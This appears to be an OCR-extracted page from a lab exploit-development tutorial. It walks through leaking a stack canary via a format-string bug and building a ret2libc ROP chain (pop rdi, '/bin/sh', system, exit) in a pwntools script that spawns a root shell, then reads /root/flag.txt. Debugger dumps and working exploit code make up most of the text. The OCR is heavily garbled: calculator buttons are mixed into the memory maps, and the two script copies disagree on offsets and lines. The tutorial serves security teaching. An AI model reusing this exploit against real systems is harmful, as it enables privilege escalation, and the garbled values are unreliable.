0x00007ffff7ff3000 0x00007ffff7ffb000 гр	/usr/lib/x86_64-linux-gnu/ld-2.31.so		31				15			0	
0x00007ffff7ffc000 0x00007ffff7ffd000 rp	/usr/lib/x86_64-linux-gnu/ld-2.31.so					· ·				4	
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.31.so	÷n.	TN		× ×)	<< ¥	>> Y	а	
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped	C	D	F	F		mod	ones	huns	LM.	
0x00007ffffffde000 0x00007ffffffff <u>000 rw-p</u>	[stack]						mou	Unica .		141	
0xffffffffff600000 0xffffffffff601000xp	[vsyscall]	8	9	Α	В	×	AND	NOT	1	×	x-1
adb-peda\$ find /bin/sh							<u></u>				
Searching for '/bin/sh' in: None ranges		4	5	6	7	-	OR	С	log	logz	int
Found 1 results, display max 1 items:											
libc : 0x7ffff7f615bd> 0x68732f6e69622f ('	/hin/sh')	0	1	2	3	+	XOR	=	fact	x	frac
adb-nedas n system		_					·				
$s_1 = s_{int} (const chas *) = 0.755557d55200 < 1$	ibc systems			pot	100, 1						
adb. aadat []	DC_System>										
		teroc-2.	es.so/tl	. . , t					ll al au	In the last	- description
workspaceo:nano- 1:gob*										rkunter	

Once again, using the programming calculator in hexadecimal mode, subtract the absolute address from the leaked base address. Append a 0x to the address and update your exploit again.



Finally look for a exit function, **p exit** and do the same process

032 0X/TTTTTTTE2D8> 0X/TTTT/T <u>99980> 0</u>	xTDad2288			664: <u>re</u> i	CT 0X148	; <u>Γετ</u> ι)XZ949				
040 0x7fffffffe2c0> 0x7ffff7f964a0> 0	x0				tf 0x14c	; ret G)x93e9;				
048 0x7ffffffffe2c8> 0x7ffff7f9a790> 0	x7ffff7f99980> 0xfbad2288				tf 0x14d	; ret G	0x5be9;				
056 0x7fffffffe2d0> 0x7ffff7fa0540 (0x00007ffff7fa0540)				7fc: ret	tf 0x14d	ret 🤅	0x6be9				
				d38: ret	tf 0x14d	; ret ()xefe9				
egend: code, data, rodata, value				8aa: ret	tf 0x394	l4: ret	0x820f				
copped reason: SIGINT				acc: ret	tf 0x394	8: ret	0x576				
00007ffff7ebafd2 in GT libc read (fd=0x	0. buf=0x55555555566b0. pbytes=0x400) at/sysdeps			d71 ret	tf 0x394	IS: ret	0x820f				
mix/sysy/linux/read_c:26	o, our-oxssssssoo, noyees-oxioo, at 11/3/steps			641 ret	FF 0x394	18: ret	0x860f:				
/systems/unix/syst/linux/read c: No	such file or directory			762	+f @v30/	18 ret	0x6001,				
dh-nadat wman	such rece of defectory.			Shd rei		lc: cot	0v0d72				
tast End Dosm						10. rot	024004				
	(here (st]ister (Desuments (lisuushaller ding (uula)			CD4. 16		10, ICC	0,4004,				
	/nome/cullster/bocuments/utnuxshetucoding/vutns			294 Fe	LT 0X854	io	0x4808;				
stackcanaries/formatstringspecvuln				esz: re	UT 0X834	is; ret	0X4810;				
x00000555555555000 0x000055555556000 r-xp	/nome/ctitster/Documents/linuxshellcoding/vuln3			225: re	ur 0x834	iy; ret	0X/T10;				
stackcanaries/formatstringspecvuln				ZT7: ret	tr 0x834	19; ret	0xf10;				
x00005555555556000 0x0000555555557000 rp	/home/ctlister/Documents/linuxshellcoding/vuln3				tr 0x834	19; ret;					
stackcanaries/formatstringspecvuln					tf 0x850)f; call	qword	ptr [rs	i];		
x0000555555557000 0x000055555558000 гр	/home/ctlister/Documents/linuxshellcoding/vuln3				tf 0x894	l8; ret;					
stackcanaries/formatstringspecvuln					+F ∩√90/	Ide cot	0~2014-				
x0000555555558000 0x0000555555559000 rw-p	/home/ctlister/Documents/linuxshellcoding/vuln3				P	rogrammi	ng Mode				• 😣
stackcanaries/formatstringspecvuln							-				
к0000555555559000 0x00005555557а000 гw-р	[heap]		-			1000					
00007ffff7dad000 0x00007ffff7dcf000 rp	/usr/lib/x86 64-linux-anu/libc-2.31.so	0x/rrrr	7161500	1-0X0000	D/LLLL/Q	30000		=		1	1845BD
00007ffff7dcf000 0x00007ffff7f47000 r-xp	/usr/lib/x86_64-linux-anu/libc-2.31.so	0x7ffff	7dff290	-0x0000	7ffff7da	0006		-			52290
00007ffff7f47000 0x00007ffff7f95000 гр	/usr/lib/x86_64-linux-anu/libc-2.31.so	U.V.I.III	7011220	0,0000	///////////////////////////////////////			-			JLLJU
00007ffff7f95000 0x00007ffff7f99000 rp	/usr/lib/x86_64-linux-anu/libc-2.31.so	0x7ffff	7df3a40	-0x0000	07ffff7da	000be		=			46A40
00007ffff7f99000 0x00007ffff7f9b000 rw-D	/usr/lib/x86_64-linux-gnu/libc-2_31_so										
(00007ffff7f9b000 0x00007ffff7fa1000 rw-D	mapped	46A40)								
	[war]										
v00007ffff7fcd000 0x00007ffff7fcf000 c-xp	[vdco]										
	[vuso] /uss/lib/v96_64-lipuv-apu/ld-2_31_co	Hexade	cimal 🔻							1065100	s = 28934410
v00007111171C1000 0x0000711117100000 1p	/usr/lib/x86_64_libux_gpu/ld_2_31_so										
	/usi/(tt/x00_04-ttilux-gilu/tt-2.51.50		0 0	00 000	0 0000	0000	0000	0000 0	000 00	000	
X0000/TTTT/TT3000 0X0000/TTTT/TTD000 rp	/usr/llb/x86_64-llnux-gnu/ld-2.31.so		63				47			32	
X0000/TTTTT/TTC000 0X0000/TTTTT/TT0000 rp	/usr/lib/x86_64-linux-gnu/ld-2.31.so		0 0	00 000	0 0 0 0 0	0100	0110	1010 0	100 00	0 0	
x0000/ffff/ffd000 0x0000/ffff/ffe000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.31.so		31				15			0	
x00007fffff7ffe000 0x00007ffff7fff000 rw-p	mapped	10	to			1		~~ v		á	
x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]	•"	J					· · · ·		a	
<pre><fffffffffff600000 0xffffffffff601000xp<="" pre=""></fffffffffff600000></pre>	[vsyscall]	с	D	E	F	÷	mod	ones	twos	x	
db-peda\$ find /bin/sh											
earching for '/bin/sh' in: None ranges		8	9	A	В	×	AND	NOT	1	×	x-1
ound 1 results, display max 1 items:											
<pre>ibc : 0x7ffff7f615bd> 0x68732f6e69622f ('</pre>	/bin/sh')	4	5	6	7	-	OR	C	log	logz	int
db-peda\$ p system											i — i
1 = {int (const char *)} 0x7ffff7dff290 < 1	ibc system>	0	1	2	3	+	XOR	=	fact	X	frac
db-pedaš p exit		Construction of the		DDA DOI		er					
$2 = \{void (int)\} 0 \times 7 ffff7df3a40 < GI exits$											
h-nedas []											
vorkspace@.papo_ 1.odb*									"da	ckinter	netmothe
										and the second se	

Append a 0x to the calculated offset and update your script.

At this point you should use what you learned before in our previous exercises to put together the ROP-chain. Your finalized source code should look like this (next page).

```
#!/usr/bin/env python3
from pwn import *
from struct import pack
exe = context.binary = ELF('./formatstringspecvuln')
libc_base_address = 0x00007ffff7dad000
ret = libc_base_address + 0x000000000000067d
pop rdi = libc base address + 0x0000000000023b6a
bin_sh = libc_base_address + 0x1B45BD
_system = libc_base_address + 0x52290
_exit = libc_base_address + 0x46A40
print("[+] Spawning process...")
io = process([exe.path , "%33$11x"])
canary = int(io.readline().strip(),16)
print("[+] Canary leaked:{}".format(hex(canary)))
buf = b'A' * 200
buf += p64(canary)
buf += b'\x42' * 8
buf += p64(ret)
buf += p64(pop_rdi)
buf += p64(bin_sh)
buf += p64(_system)
buf += p64(_exit)
with open('payload','wb') as payload:
      payload.write(buf)
io.sendline(buf)
io.interactive()
```

GNU nano 4.8		redo.py		Modified
<pre>#!/usr/bin/env python3</pre>				
from pwn import *				
from struct import pack				
<pre>exe = context.binary = ELF('./formatstringspecvuln')</pre>				
<pre>libc_base_address = 0x00007ffff7dad000 ret = libc_base_address + 0x000000000000c067d pop_rdti = libc_base_address + 0x0000000000023b6a bin_sh = libc_base_address + 0x184580 _system = libc_base_address + 0x46A40</pre>				
io = process([exe.path , <mark>"%33\$llx</mark> "]) canary = int(io.readline().strip(),16)				
<pre>print("[+] Canary leaked:{}".format(hex(canary)))</pre>				
buf = b'A' * 200				
buf += p64(canary) buf += b ¹ /x42 ⁺ 8 buf += p64(ret) buf += p64(pop_rdi) buf += p64(system) buf += p64(_exit)				
<pre>with open('payload','wb') as payload: payload.write(buf)</pre>				
io.sendline(buf)				
to.interactive()				
^C Get Help ^A O Write Out ^A W Where Is ^A X Exit ^A R Read File ^A \ Replace Dworkspace0:nano*Z 1:gdb-	K Cut Text ^J Justify V Paste Text ^T To Spell /	C Cur Pos M-U Undo Go To Line M-E Redo	M-A Mark Text M-] To Bracket M-6 Copy Text ^Q Where Was	M-Q Previous AB Back M-W Next AF Forward 'darkinternetmotherfuc" 09:54 13-Jul-22

With another terminal open, run **python3 exploit.py** and confirm that you obtained a shell.



Now as root, read the flag, cat /root/flag.txt